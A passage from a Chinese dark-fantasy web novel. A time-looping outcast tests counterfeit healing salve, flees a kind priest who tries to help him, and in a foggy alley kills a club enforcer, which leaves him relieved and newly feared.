月光此刻已完全移出了彩窗的范围,将兜帽人的面容切割成破碎的、失去光泽的蓝色块面。 未抱着膝盖,缓缓滑坐在暗格冰冷的地面上,生死之誓自动覆盖在他的心口,像一块冰冷的护心镜。暗室外,悠远而沉重的晨祷钟声,穿透石壁,一声声敲击在他的鼓膜上。他把自己蜷缩得更紧了些,试图汲取一丝微不足道的暖意。第六十五次轮回开始的、清冷的月光,正缓慢地、无情地,爬上他指尖那一道新结的、薄薄的痂。 生存是永恒的主题。除了藏身,未还需要面对伤痛和疾病。在教堂外围领取那点微薄救济时,他敏锐地注意到一个规律:每当那个有着罕见蓝色头发的神职人员——他后来才从只言片语中知道他的名字叫“但”——亲自来分发食物时,他偶尔会获得一小罐贴着潦草标签的药膏。 “教堂银血膏·镇痛圣品”。标签上是用未熟悉的文字这样写的。 这药膏似乎是被禁止随意发放的物品。未观察到,但总是在其他神职人员不注意时,才会悄悄将药膏塞给像他这样看起来格外凄惨、带着明显外伤的人。这是但的私货。 起初,未只是将这视为难得的幸运。直到他在黑市的角落,看到了大量贴着类似标签的玻璃瓶在出售。价格低廉得可疑。生存的经验告诉他,便宜往往意味着危险。 他动用了最直接,也最残酷的验证方法——用他独特的“资本”。生死之誓上的死亡次数,开始为了这小小的药膏而增加。 第一次,他从黑市买回的“银血膏”,涂抹在手臂一道故意划开的浅口上。伤口非但没有愈合,反而迅速溃烂、发黑,散发出异味。 第三次,在付出了两次死亡的代价后,他终于学会辨别真伪。真品的玻璃瓶底部,刻着一个极其细微、需要特定角度才能看到的暗码,形状像是一把扭曲的钥匙。而且,当真正的药膏靠近生死之誓时,书册会散发出一种微弱的、只有贴近才能感知的温热感。 第七次,他拆开了一罐确认是真品的药膏包装,发现在标签的内层,或者说在包装的夹层里,总是会附带着一张小纸条。那上面大多是一些鼓励的话,字迹工整清晰,带着一种独特的韵律感。未的心脏猛地一跳——这字迹,与他当初在教堂自习室,用古老文字写下痛苦,并收到回应的那张便签纸上的字迹,一模一样! 线索串联起来了。那个在自习室用古老文字安慰他、邀请他去回廊见面的人;那个在墓地月光下,孤独擦拭无名墓碑的蓝发祭司;那个被流言称为“王室残次品”、“圣痕残缺”的但;以及这个私下发放、字迹相同的药膏提供者……他们是同一个人。 这个认知,让未心中涌起一股难以言喻的复杂情绪。但,似乎是一个与他一样,身处某种困境,却依然在试图做点什么的人。 然而,药膏的真伪问题依然致命。黑市上流通的假药远多于真品。未觉得但本人不太可能给自己的药膏下毒。那么,问题出在哪里?是流通环节被调包?还是……有其他人,在刻意针对但,甚至不惜用这种方式毒害那些但试图帮助的人? 一种莫名的焦虑开始萦绕着他。他想提醒但。这个念头一旦出现,就变得难以抑制。 机会在一个暴雨倾盆的夜晚意外降临。未为了躲避巡逻队和恶劣的天气,冒险靠近了教堂主建筑的后门。他浑身湿透,冷得牙齿都在打颤,僵立在通往内厅的台阶前,犹豫着是否要寻找一个更危险的藏身处。 就在这时,透过一扇彩窗模糊的光晕,他看到了但的剪影。祭司正蹲在地上,为一个蜷缩在角落、似乎是小乞丐的身影,仔细地涂抹着药膏。雨声哗啦,但但低沉的、带着某种奇异安抚力量的话语,还是隐约穿透了雨幕,飘进了未的耳朵: “圣痕……并非你想象的诅咒。”但的声音很轻,仿佛是说给那个孩子听,又像是在自言自语,“它或许……只是身体在固执地记住,每一次被背叛时,所留下的具体形状。” 这句话,像一把冰冷的钥匙,猝不及防地捅进了未内心深处某个锁孔!被背叛的形状?他的身体,他的灵魂,何尝不是布满了博士、怀沙、雷蒙德,乃至这座冰冷城市留下的、各种形态的“圣痕”? 他的脚步因这心灵的震动而骤然踉跄,后背撞在了冰冷的铁门上,发出了一声不大不小的闷响。生死之誓坚硬的封面也同时磕在金属门框上。 彩窗后的剪影动作停顿了,但似乎转过了头,目光投向未所在的方向。 恐慌瞬间压倒了那片刻的共鸣。未像一只受惊的兔子,猛地转身,头也不回地冲进了教堂侧面的暗巷,消失在瓢泼大雨和深沉的夜色中。他怀中紧紧抱着一小瓶用七次“死亡”代价换来的、确认无误的真药膏,此刻却感觉像偷来的赃物,硌在他的胸口,带来一阵阵尖锐的痛感。 提醒?他连面对但的勇气都没有。 后来,在垃圾场寻找食物时,一个老流浪汉醉醺醺地拽住他,神秘兮兮地透露:“知道吗?那个蓝头发的祭司……他的血,据说能让基因检测仪发疯!”老流浪汉晃着空酒瓶,打着酒嗝,“上次……我太饿了,尝了点他一点那个什么药膏,妈的,去测基因纯度,你猜怎么着?居然涨了0.7%!神奇吧?” 未沉默地看着他,心中没有任何波澜。这种离奇的流言,加仑城每天都会产生无数个。但在某种偏执的驱动下(或许是为了验证药膏,或许是为了验证但,或许只是为了验证自己那点可悲的“返祖”身份),他在第十次相关的轮回中,真的尝试了。 他吞下了少量偷来的、珍贵的真品银血药膏,然后冲向一个免费的公共基因检测亭。当他将手指按上采样口的瞬间—— “轰!” 剧烈的爆炸声和刺眼的火光吞噬了他最后的意识。检测亭的仪器过载爆炸了。 未依旧在教堂的阴影里苟活,依靠徽章在自习室换取片刻安宁,依靠无数次死亡积累的经验在夜间躲藏。他怀中藏着那罐真药膏,也藏着一个关于提醒的念头。他知道药膏可能有问题,知道但可能身处危险而不自知。但他更知道自己的渺小、卑微和不堪。他是一个连自身都难保的“残次品”,一个被世界遗弃的“返祖者”,一个依靠死亡次数来验证真相的怪物。 他该怎么做?能怎么做? 14. 【七】 深冬的加仑城,连空气都似乎被冻出了细碎的冰碴。未蜷缩在信号塔地堡的角落里,听着外面能量风暴的呼啸,像一头垂死野兽的哀嚎。他摊开手心,借着从破洞漏下的、灰蒙蒙的天光,凝视着那枚代表着某种模糊资格的旧徽章。徽章冰冷,几乎要粘掉他掌心的皮肤。 “加入黑主教教会”。 这个念头,如同在无边黑暗中唯一可见的、微弱却固执的星光,支撑着他度过一个又一个饥寒交迫的日夜。他像一只谨慎的蜘蛛,在教堂外围的阴影里织网,收集着一切与之相关的信息碎片。他听说,想要正式成为信徒,除了最基本的“信仰考察”(他不太懂那是什么),往往还需要一位已有的、具有一定地位的信徒或神职人员的“提携”。而给提携者留下一个良好的第一印象,至关重要。 这让他感到一种近乎窒息的焦虑。 如何留下好印象?他混沌的脑子里,只能勾勒出一些最朴素的、来自遥远过去的模糊概念——干净,整齐,至少不能像现在这样,浑身散发着垃圾场和血腥混合的臭味,衣衫褴褛得像一块被撕扯过的破布。 于是,一个在他自己看来都近乎奢侈的计划诞生了——他要把自己“收拾干净”。 这个念头驱使着他,再次投入到了加仑城最肮脏的角落。他不再仅仅为了寻找食物,而是开始刻意搜寻那些被丢弃的、尚且能用的物品。一块相对完整的肥皂,半瓶过期但闻起来没有异味的清洁液,一件虽然旧得发白、但只有少数几个破洞的衬衫……每找到一样,他都像野兽囤积过冬食物一样,小心翼翼地带回地堡。 水源是个大问题。教堂附近的公共取水点人多眼杂,他不敢过多停留。最终,他找到了一个废弃的、靠近工业区的雨水收集池。池水浑浊,泛着一层诡异的油光,散发着金属和化学品的刺鼻气味。但他顾不上了。 在一个相对“温暖”、没有能量风暴的午后,他褪下那身几乎与皮肤粘连在一起的、散发着恶臭的破布,赤身裸体地站在冰冷的、污浊的池水边。寒风像刀子一样刮过他裸露的、布满新旧伤疤的皮肤,激起一层层的鸡皮疙瘩。他咬紧牙关,用找到的破布蘸着那散发着怪味的水,开始用力擦拭身体。 污垢混合着陈年血渍,在冰冷的擦拭下一点点剥落。有些伤口被刺激得重新渗出血丝,带来尖锐的疼痛。但他不管不顾,仿佛要通过这种近乎自虐的清洗,将过去那段充斥着擂台血腥、俱乐部阴暗以及流浪污秽的记忆,也一并从身上刮掉。 他换上了那件旧衬衫,虽然单薄,虽然破洞处漏风,但布料摩擦皮肤时,带来了一种久违的、属于“正常”世界的粗糙触感。他甚至试图整理自己乱如枯草、打结严重的头发,用手指蘸着水,勉强将它们捋顺了一些。 他看着雨水池中自己模糊的、晃动的倒影。那张脸依旧苍白瘦削,眼下的乌青浓重得像化不开的墨,但至少,不再是那个完全从垃圾堆里爬出来的怪物了。他深吸一口气,试图挤出一个类似“平和”或者“谦卑”的表情,但嘴角刚扯动一下,露出的却是一个比哭还难看的、扭曲的弧度。 他愣住了。池水中的倒影也回望着他,眼神里是掩饰不住的惊惶、警惕,以及一种深植骨髓的、对周遭一切的不信任。那不是一个寻求信仰者的眼神,那依然是一只被困在陷阱里、随时准备撕咬或逃窜的野兽的眼神。 心底某个角落,一个冰冷的声音在嘲笑:看啊,你以为换件衣服,洗掉泥污,就能掩盖你是个什么东西了吗?博士的“作品”,怀沙的“工具”,擂台上的“野兽”,垃圾堆里的“残次品”……这些标签,早已刻进了你的灵魂,比你皮肤上的伤疤更深。 他猛地抬手,狠狠砸向水中的倒影,破碎的涟漪将那张令他厌恶的脸搅乱。 就在这种自我否定与极度渴望交织的混乱中,他迎来了一个意想不到的、与他渴望接近的那个世界产生交集的契机——虽然,是以一种他完全未曾预料、也几乎搞砸了的方式。 为了寻找效果更好些的冻疮药,他冒险深入了城市边缘一片被遗弃的雪原。这里曾是一个旧时代的聚居点废墟,如今只剩下断壁残垣和生命力顽强的、少数几种可食用地衣。 他跪在一条几乎完全封冻的溪流石滩上,小心翼翼地用冻得通红的手指,剥离着岩石上那些青灰色的、带着湿润触感的苔藓。这触感,莫名地让他想起实验室里那些在培养皿中蠕动的变异菌群。生死之誓静静悬浮在他肩头,书页上那血红色的死亡计数,倒映在冰面上,又被水下偶尔游过的、看不清形态的鱼儿搅成破碎的光斑。 就在这时,对岸传来了一阵清脆的、有节奏的银铃声。 恐惧压倒了一切。他本能地像受惊的兔子一样,猛地扑向旁边一丛枯死的灌木。手中刚采集的地衣碎末从指缝间撒落,在洁白的雪地上,留下了一串清晰而慌乱的足迹。 “请等等!” 一个声音穿透了雪原上薄纱般的雾气,那嗓音并不高亢,尾音甚至有一丝不易察觉的急促。 未的靴子,偏偏在这要命的时候,卡在了一道冰缝里。他焦急地挣扎,却徒劳无功。抬起头,他看见一个穿着月白色祭司袍的身影,正从对岸的雾气中快步走近。那人几乎是有些匆忙地拂开结霜的桦树枝,弯腰看向他的动作带着一种突兀的急切,这姿态莫名地让未脑中闪过博士当年提取他脑脊液时,那专注而逼近的阴影。 心脏狂跳,几乎要冲破胸腔。 生死之誓似乎感应到了他极致的恐慌,猛地向下坠落,重重砸在冰面上,发出“咚”的一声闷响。冰面微震,未趁机用力,终于将靴子从冰缝中拔了出来,踉跄着向后退去,腐叶和积雪在他脚下发出不堪重负的碎裂声。 他听见对方似乎倒吸了一口冷气,声音里带着一种紧绷的……或许是关切? “你的伤口……” “别过来!”未嘶声喊道,声音因为恐惧而变调。他下意识地抓起一块冻得硬邦邦的泥块,像握着最后一根救命稻草,举在身前,色厉内荏地威胁:“我……我有传染病!” 这拙劣的借口,他曾用过两次,成功吓退了试图靠近的流浪汉和净化队成员。 然而,那位银发祭司却并没有像前两者那样立刻退开。他的动作顿住了,那双霜蓝色的眼眸骤然收缩,里面翻涌着未无法理解的、复杂而浓烈的情绪。他几乎是有些慌乱地从随身携带的一个陈旧药篓里,摸索着掏出了一个琉璃瓶。瓶身在灰白的天光下,折射出冰冷而脆弱的光泽。 “这是……银血草熬制的药膏,”他的声音比刚才更低哑了些,语速却加快了,仿佛怕未会立刻消失,“对你的伤……或许有用……” 未愣住了。他看着对方手中那瓶看起来就与黑市上流通的假货截然不同的药膏,又看了看对方。那眼神里没有他熟悉的恶意,却有一种更让他不安的、汹涌的什么东西,像是……痛苦?还是别的什么?他分辨不出,只觉得那眼神像冰锥一样刺人。 就在他心神动摇,不知该如何应对这完全超乎他经验和理解的局面时—— “砰!” 二十米外,一声突如其来的猎枪轰鸣,像鞭子一样抽碎了雪原的寂静!巨大的回响在树林间震荡,惊起一群黑鸦。 是教团的猎犬队?还是其他的掠食者? 长期的逃亡生涯让未的身体先于大脑做出了反应。求生的本能压倒了一切!他猛地向前一冲,头也不回地扎进了浓密的雾霭与枯木林中。 他拼命地奔跑,肺部像被点燃了一样灼痛,耳边是不知道谁越来越近的咆哮声和身后枯枝被踩断的声响。在仓惶逃窜中,他最后一次回头,透过交错纵横的枯木枝丫,瞥见了那个停留在原地的身影。 银发的祭司没有追赶,也没有呼喊。他只是微微低着头,指尖捻着一小撮可能是从地上捡的青灰色的苔藓碎屑。那双霜蓝色的瞳孔,穿越弥漫的雾气,遥遥地望着他逃离的方向,里面翻涌着的,是未无论如何也无法读懂、也不敢去读懂的,几乎要将他吞噬的浓重哀戚与某种……近乎绝望的复杂情绪。 直到冰冷的雪原彻底吞没了身后所有的声音,未才敢停下来,扶着粗糙的树干,大口大口地喘息,冰冷的空气像碎玻璃一样刮擦着他的喉咙。直到这时,他才发现,自己的口袋里,不知何时,被塞进了一个硬硬的东西。 他掏出来,正是那个琉璃瓶。瓶身比之前分配时的私货要大上大概三倍。因为刚才剧烈的撞击和摩擦,已经出现了几道蛛网般的细小裂纹。他将瓶子靠近生死之誓,书册传来一丝微弱的、却确实存在的温热感——是真品。 他怔怔地看着这瓶药膏,又看了看生死之誓的内页。那血红色的死亡计数,似乎在他眼前模糊了一瞬,仿佛被雪原上突然刮起的一阵凛冽寒风揉碎的月光,看不真切。 这次短暂的、不足三分钟的遭遇,像一颗投入他死寂心湖的石子,激起的却不是希望的涟漪,而是更深的混乱与自我厌恶。 他搞砸了。 他不仅没有留下任何好印象,反而像一头彻底失控的野兽。他用了最拙劣的谎言,展现了最彻底的狼狈和惊慌,以及……恩将仇报。 那个蓝头发的祭司……但。他果然,和流言里说的不一样。也和他之前遇到的所有人,都不一样。 他习惯于面对恶意、算计和冰冷,他知道如何在那样的环境中蜷缩、防御甚至反击。但对于这种……带着伤痕的、急切的、甚至有些笨拙的靠近,他回报以逃离。 他想起了自己清洗身体时的徒劳,想起了水中倒影那双惊惶的眼睛。看啊,这就是你,未。无论你把自己收拾得多么“干净”,你的内里,早已被摧毁得无法进行任何正常的、平等的交流,甚至无法分辨靠近的手掌,究竟握着的是鞭子,还是……药膏。 教堂的门槛,在他心中,从未像此刻这样,高大得如同天堑,并且,染上了一抹他自己亲手划上的、刺目的血痕。 他握紧了那瓶带着裂痕的药膏,冰冷的琉璃硌着他的掌心,那裂纹仿佛也蔓延到了他的心上。他还有资格,去叩响那扇门吗?他还有可能,去面对那双……承载了太多他却看不懂的眼睛吗? 雪,又开始下了起来。纷纷扬扬,冰冷刺骨,试图掩盖掉雪原上所有发生过一切的痕迹。但有些东西,已经如同那琉璃瓶上的裂纹,一旦产生,便再也无法弥合,如同他此刻心中那冰冷而沉重的绝望。 …… 雪水混杂着污渍,沿着生死之誓坚硬而冰冷的棱角缓缓滴落,在它那总是显得过分猩红的内页上晕开一团团模糊的墨渍。未蜷缩在地堡内,刺骨的寒风毫无阻碍地穿过透气孔,发出呜咽般的声响。他伸出冻得几乎失去知觉的手指,指尖上还带着刚刚不小心碰破鼻子留下的温热血液,就着远处垃圾焚烧场那摇曳不定、透过层层铁网漏进来的昏暗火光,在一块相对平整的金属板上,笨拙地勾画着脑海中的路线。 那火光将他瘦削的影子投射在背后斑驳的、残留着陈旧油污的墙壁上,影子随着火光的跳动而扭曲变形,像一具正在被无形之手解剖的、残缺不全的标本。 他画的不是什么精细的地图,而是一些只有他自己能看懂的符号和线条,标记着这座名为加仑的城市的某些角落,以及与之相关的、刻骨铭心的记忆。 其中一个醒目的红叉,标在一条狭窄后巷的面包店侧门。他记得那里,第七次,也许第八次,他被一根冰冷的铁链勒住脖颈,悬挂在那里,像一块风干的肉。他记住了铁链在夜风中摇晃时有规律的吱呀声。此刻,他舔了舔几乎要冻在钢笔尖上的冰碴,凭着记忆在生死之誓的空白处补充细节:那个总穿着破旧皮夹克的保安,每隔大概十九分钟会溜到巷口抽一次烟,烟雾升起的三分半钟内,后门的监控会有短暂的死角;那个绿色的垃圾桶,一旦完全打开顶盖,超过四点七秒,就会触发连接警卫室的微弱警报;还有左侧那道锈迹斑斑的消防梯,踩在第三阶上,会发出一种类似乌鸦垂死啼叫的尖锐声响,足以在寂静的夜里传出很远。 血珠从他冻裂的指尖伤口渗出,缓慢地滴落在书页上,那猩红的纸张仿佛拥有生命般,悄无声息地将这点滴血色吸收殆尽。未看着这一幕,忽然有些恍惚地想起,在博士的实验室里,那些冰冷的监测仪似乎也格外“偏爱”他的血液,它们贪婪地抽取,不同的是,每次抽血之后,偶尔会伴随着一点麻痹感官的甜味补偿剂。 另一个用蓝色圆圈标记的地点,是位于旧城区边缘的一个免费公共基因检测亭。他记得很清楚,每周二的下午三点零三分,那面小小的屏幕总会准时泛起一片干扰的雪花。他曾无数次把脸贴在冰冷的识别器上,虹膜中倒映出的,是第二十四次死亡的记忆——那一次,他异想天开地试图伪装成拥有合法身份的变种人混入某个区域,结果被隐藏的电击器瞬间烧焦了视网膜。 在“错误代码04”的机械女声冷漠地响起时,他的手指却能在虚拟键盘上快速而准确地输入一串字符:【↑→↓←??】。这是他用三次心脏麻痹的濒死体验换来的密码,只有输入它,才能短暂 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他曾试图在地图上代表教堂的位置,画上一颗微小的星星。那是他内心深处隐约向往,却又不敢真正靠近的地方。然而,笔尖刚刚触及纸面,就如同被无形的力量干扰,猛地一滑,尖锐的顶端瞬间划破了坚韧的书页。与此同时,一股熟悉的、撕心裂肺的剧痛从生死之誓传来,猛地攫住了他,让他不受控制地蜷缩起身体,仿佛一瞬间又被拉回到了实验室那冰冷的电击台上。他猛地意识到,教堂那些彩绘玻璃上勾勒出的图案,尤其是那一片片深浅不一的蓝色,不知为何,竟与博士那双毫无感情的眼睛的色泽,有着某种令人心悸的相似。 当这张以痛苦和死亡为笔墨绘制的地图渐渐趋于“完整”时,未惊恐地发现,他所有的标注连接起来,竟然形成了一个诡异的、充满恶意的图案——所有代表死亡陷阱的红叉,隐隐构成了一个他无比熟悉的、曾经禁锢他多年的电击项圈的形状;那些蓝色的圆圈,分布的位置恰好对应着实验室里各种微型监测仪的布局;而散落的黑点,则像是一段被强行扭曲、充满缺陷的DNA螺旋链。 一股无名火猛地窜起。他发狠似的,一把撕下了这页浸满他血汗与记忆的地图,书页边缘锋利的缺口瞬间在他掌心划开了一道新月形的伤口。新鲜的、温热的血滴涌出,恰好滴落在被他揉皱的地图中央,迅速洇开,模糊了市政厅的轮廓——那里安装着全城功率最强的基因扫描仪,也是他在上周目,因为一次微不足道的计算失误,被瞬间轰成基本粒子的地方。 “连你……也要用这种方式来惩罚我吗?”未对着手中沉默的生死之誓嘶哑地低语,声音在空旷的变电站里显得异常微弱。他最终还是将那张染血的地图胡乱塞回了书页之间。远处,垃圾清运车沉重的轰鸣声由远及近,提醒着他新的一天,或者说,新的轮回,即将开始。他伸出舌头,舔掉掌心上那混合着铁锈味和自身血腥气的液体,深吸了一口冰冷污浊的空气,强迫自己站起身,走向第四十二次,或者不知是第多少次轮回的起点。 随着时间的推移,未对加仑城明面下的规则和阴影里的路径越来越熟悉。除了那些他本能畏惧、或者明确知道是禁忌的区域,这座城市大部分的“门道”——哪些巷子可以快速脱身,哪些管道能够通往相对安全的角落,哪些时间点哪些区域的守卫会换岗松懈,哪些地方的垃圾堆偶尔能找到可以果腹或者换取少量信用点的东西——他都已摸得七七八八。 然而,熟悉环境并不能直接转化为稳定的生存资源。没有怀沙俱乐部那样相对固定的收入来源,他再次陷入了动荡不安的困境。他需要信用点来支付偶尔必须的“呼吸税”,需要食物来维持这具不断受伤又不断愈合的身体,需要最基本的药物来处理那些生死之誓也无法完全消除的伤痛。 于是,他只能回归到最原始、也最危险的生存模式:寻找一切可能的工作机会,无论多么肮脏、卑微、危险;或者,在走投无路时,进行一些小偷小摸。他知道哪些仓库的看守会在深夜打盹,知道哪些运输带的监控存在盲区,知道如何像阴影一样潜入,窃取少量不至于立刻引来疯狂追查,但又足以让他多活几天的物资。他的动作越来越熟练,心跳在行动时却依然会失控地加速,每一次得手后的逃离,都伴随着巨大的心理压力和身体损耗。 在这个过程中,那个有着雾蓝色头发的祭司的身影,总会不受控制地浮现在他的脑海里。他想起了那场雪原上仓促而狼狈的相遇,想起了对方递过来的、带着裂痕的药膏,想起了那双盛满复杂情绪、让他不敢直视的霜蓝色眼睛。他记得但似乎是教堂里一位有些特殊地位的神职人员,也隐约感觉到,但对他,似乎存在着某种难以理解的、微弱的……善意? 一个念头如同黑暗中摇曳的烛火,时明时暗:如果去求助但,是否……有可能获得一个机会?一个进入教堂,哪怕是作为最底层的杂役,换取一点微薄但稳定的收入和一处可以遮风挡雨的角落的机会? 这个想法带来一丝微弱的暖意,但随即被更深的寒意所覆盖。 他立刻为自己找到了无数“合理”的推迟理由:现在还没到山穷水尽的地步,他还能靠自己去挣、去偷、去抢;他身上的伤还不够重,冻疮还没烂到骨头,饥饿感还能忍受;他需要再多观察一下,确认但是否真的可靠,是否这又是一个精心伪装的陷阱;他甚至觉得,自己现在这副样子太过狼狈不堪,至少……至少应该等到他弄到一件更体面点的衣服,或者把身上最明显的伤口处理好之后,再去尝试…… 他并没有意识到,这所有的理由,本质上都是一种深层次的逃避。他习惯了在绝望中独自挣扎,习惯了用疼痛和警惕构筑起与世界之间的壁垒。向一个人伸出手,袒露自己的脆弱和需求,对他而言,其风险与艰难,甚至超过了闯入一个武装守卫的仓库。他害怕被拒绝,害怕看到对方眼中可能流露出的鄙夷,更害怕那一点点微弱的希望之火,最终被证明只是自己的又一次幻觉,那将比任何物理上的伤害都更令他难以承受。 所以,他选择了“再撑一会”。他告诉自己,等到实在没有办法的时候,等到下一次重伤濒死、连偷窃的力气都没有的时候,他一定会去教堂,去寻找但。他把这视为最后的一道保险,一个存在于想象中的、渺茫的退路。 于是,他继续游荡在加仑城的边缘,像一道无声的幽灵。他熟练地规避着已知的危险,利用着摸索出的规则,为了最基本的生存而耗尽每一分力气。他偶尔会远远地望一眼教堂那高耸的尖顶,心中那份模糊的渴望与根深蒂固的恐惧交织在一起,形成一种沉重的、无法排解的矛盾。他并不知道,这种看似“独立”的挣扎,这种将求助不断延后的行为,实际上正是在将他推向更深的孤立与绝望,而他所能依靠的,似乎永远只有那本记录着无尽死亡、与他命运紧密相连的,以及他自己那早已千疮百孔、却仍在顽强跳动的求生本能。 15. 【七】间章 这是接下来的故事。 自那次雪原上狼狈不堪的相遇之后,一种难以言喻的、深层次的自我厌弃,如同缓慢滋生的霉菌,在未的心底蔓延开来。他并未清晰地意识到这一点,但行为却诚实地反映了内心的变化。 那种为自己争取一个机会的、近乎奢侈的努力,仿佛随着那场仓惶的逃离,一同被丢弃在了冰冷的雪原上。他不再刻意去寻找相对完整的衣物,不再试图清洗掉身上积攒的污垢和血渍。地堡角落里那件他曾经珍视的、略显干净的旧衬衫,被他随意地踢到一边,很快落满了从破洞屋顶飘落的灰尘。他甚至不再像以前那样,小心翼翼地规划每一次外出,计算着风险与收益。一种“就这样吧”的麻木感,开始取代之前那种即使在绝望中也依旧顽强的、近乎本能的精密计算。 他依旧在加仑城的阴影里求生,但方式变得更加直接,也更加……不计后果。他依然偷窃,但不再仅仅是为了果腹,有时会顺手拿走一些对他而言毫无用处、仅仅是因为“可以拿走”的小物件,然后在离开后随意丢弃。他依然会接一些最肮脏、最危险的零工,但在面对雇主的刁难和克扣时,那种曾经为了微薄报酬而隐忍的沉默,开始被一种近乎空洞的、带着一丝挑衅的直视所取代。有几次,他甚至差点与监工发生直接冲突,全靠生死之誓在关键时刻传来的、如同针刺般的预警痛楚,才让他在那失控的边缘猛然惊醒,迅速遁走。 他隐隐感觉到,自己与这座城市之间那层脆弱的、建立在不惹麻烦基础上的平衡,正在被打破。但他似乎并不在意,或者说,没有多余的精力去在意。内心的某种支撑物仿佛垮塌了一角,使得他维持“正常”生存姿态变得异常艰难。 然后,怀沙的人找到了他。 那是在一个弥漫着浓雾的傍晚,未刚刚从一个废弃的管道里钻出来,雾气模糊了街道的轮廓,也掩盖了危险的气息。 直到破空之声袭来,未才凭借无数次死亡磨砺出的反应,猛地向旁边一扑。一根带着倒刺的金属短棍,擦着他的额角砸在他刚才站立的位置,溅起几点火星。 攻击来自一个身材壮硕的人,穿着怀沙俱乐部打手标志性的暗红色夹克,脸上带着猫捉老鼠般的残忍笑意。未认得他,是俱乐部里一个以折磨“不听话”的拳手为乐的小头目。 “小老鼠,躲得挺快。”打手舔了舔嘴唇,挥舞着短棍再次逼近,“怀沙先生很想念你,特别是你那条灵活的舌头……听说你用它咬死了人?” 未没有说话,只是死死地盯着对方,身体微微弓起,像一只被逼到绝境的野兽。他能感觉到生死之誓在怀中微微发烫,书页上似乎有新的字迹正在形成,那是死亡临近的预兆。 打手显然不认为未能构成什么威胁,他戏谑地挥舞着短棍,攻击并不致命,却充满了羞辱性,目标是未的关节、软肋,试图让他失去行动能力,像拖一条死狗一样把他带回去。 未在对方狂暴却略显轻蔑的攻击下狼狈地躲闪、翻滚。雾气成了他唯一的掩护,但也限制了他的视野。对方的力气远大于他,装备也更精良,正面抗衡毫无胜算。他脑海中飞快地闪过无数个画面:擂台上被碾碎的手指,俱乐部里冰冷的锁链,怀沙那毫无波动的眼神……以及,更久远之前,实验室里博士调整电极时,那专注而漠然的神情。 一种久违的、炽热的情绪,如同被封存在冰川下的岩浆,开始在他冰冷的胸腔里缓慢涌动。那不是恐惧,不是绝望,而是一种更为原始、更为暴烈的东西。 打手又一次挥棍砸向他的膝盖,未这一次没有完全躲开,剧痛让他几乎跪倒在地。打手得意地上前,抬起脚,想要踩住他的脑袋。 就在那一瞬间,未的眼中闪过一丝完全不属于平日的凶光。他没有试图格挡或者推开那只脚,而是如同蛰伏的毒蛇,猛地向前一窜。 他用的是在擂台上咬断对手手腕的同样招式,但这一次,更加精准,更加狠戾。他闪过攻击,双手扒住打手的肩膀,用那副几乎已经成为他身体一部分的尖锐牙套,狠狠地咬上了对方的脖子! 打手发出一声不敢置信的、混合着剧痛和愤怒的嚎叫,身体瞬间失去平衡。未没有松口,反而用尽全身力气,像野兽撕扯猎物般猛地一甩头—— 皮肉撕裂的声音在浓雾中显得异常清晰。 打手惨叫着倒地,抱着血流如注的脖子疯狂翻滚。未吐掉口中咸腥的血肉,摇摇晃晃地站起身,他的嘴角还残留着血迹,眼神却是一片死寂的冰冷。他看着在地上痛苦哀嚎的打手,看着对方因为剧痛而扭曲的脸,看着那双之前还充满戏谑和残忍、此刻却被恐惧和痛苦占据的眼睛。 打手下意识地去摸腰间的武器,那是一把匕首。 未的动作快得几乎超出他平时的极限,仿佛被某种无形的力量驱动。他猛地扑上前,不是去抢夺武器,而是用生死之誓那坚硬无比的封面边缘,如同使用一把钝器,狠狠地、精准地砸在了打手的太阳穴上。 打手的哀嚎戛然而止,身体剧烈地抽搐了几下,双眼圆瞪,充满了惊愕与无法置信,最终失去了所有神采,瘫软在地,不再动弹。 浓雾依旧弥漫,周围死一般寂静。 未站在原地,剧烈地喘息着,胸腔如同风箱般起伏。他低头看着脚下逐渐失去温度的尸体,看着那滩正在缓慢扩大的、暗红色的血迹。预想中的恶心、恐惧或者负罪感并没有如期而至。取而代之的,是一种……前所未有的轻松。 仿佛一直紧紧束缚在灵魂深处的某道无形枷锁,随着那一声喉骨碎裂的轻响,也随之“咔嚓”一声,断裂开来。 他一直不允许自己杀人。 并非源于任何成文的道德律法,加仑城没有这种东西。这更像是一种深植于骨髓深处的、连他自己都未曾清晰意识到的本能禁忌。或许,在经历了博士那将人视为实验材料的极端漠视之后,在自身承受了无数非人痛苦之后,他那残破的灵魂深处,依然固执地保留着一点点对于生命本身的、模糊的敬畏,或者说,是一种残存的、微弱的善良?他分不清。 他可以在擂台上像野兽一样撕咬,可以在逃亡中不择手段,可以忍受无尽的屈辱和痛苦,但他始终没有主动地、有意识地、以终结对方生命为目的去攻击一个人。即使在最危险的时刻,他的第一选择永远是逃离、防御,或者像对付擂台对手那样,以使其失去战斗力为目标。 直到此刻。 他看着那具尸体,心中一片奇异的平静。原来,夺走一个人的生命,并不像想象中那么困难,也并没有带来预想中的沉重负担。反而,像是一直压在心头的一块巨石,被猛地搬开了。一直追逐着他的阴影,似乎被这血腥的手段暂时驱散了。 他站在原地,沉默了许久,直到雾气开始变得稀薄。他才俯下身,极其熟练地在打手尸体上摸索起来,取走了所有有价值的物品:信用点、那柄能量匕首、一些零散的药剂。然后,他像处理垃圾一样,将尸体拖到旁边的排污口,推了下去。污浊的水流很快吞噬了一切痕迹。 做完这一切,他直起身,感受着怀中生死之誓传来的、不同于以往的、一种近乎……满足般的微弱震颤。他转身,消失在愈发深沉的夜色里。 接下来的几天,未敏锐地察觉到周围环境的一些微妙变化。 以前,他在底层街区活动时,感受到的多是赤裸裸的恶意、贪婪或者彻底的漠视。人们要么想从他身上榨取价值,要么将他视为可以随意欺凌的对象,要么就像避开瘟疫一样避开他。 但现在,情况似乎有些不同。 当他再次出现在那些混乱的集市或者流浪者聚集地时,一些原本会对他投来不怀好意目光的人,眼神中多了几分审视和……忌惮?曾经试图抢走他刚到手食物的混混,在靠近他时,会犹豫一下,然后悻悻地退开。甚至连那些发放微薄救济物资的、态度一向恶劣的教会外围人员,在看到他时,虽然依旧没什么好脸色,但那种呼来喝去的语气,似乎也收敛了一点。 起初,未感到十分困惑。 他杀了人。他夺走了一条生命。这在他的认知里,是一件极其严重、极其“不好”的事情。生命在他所处的环境里,似乎是最不值钱的东西。 但杀人这个行为本身,在他内心那个模糊的道德框架里,依然占据着一个特殊而沉重的地位。他以为,做了这种事,应该会引来更多的敌意,更深的排斥,甚至官方的追捕(虽然加仑城的官方对此类发生在底层的争斗往往视而不见)。 然而,现实恰恰相反。他非但没有被排斥,反而似乎……获得了一种扭曲的认可?一种建立在恐惧和实力评估基础上的、冰冷的尊重。 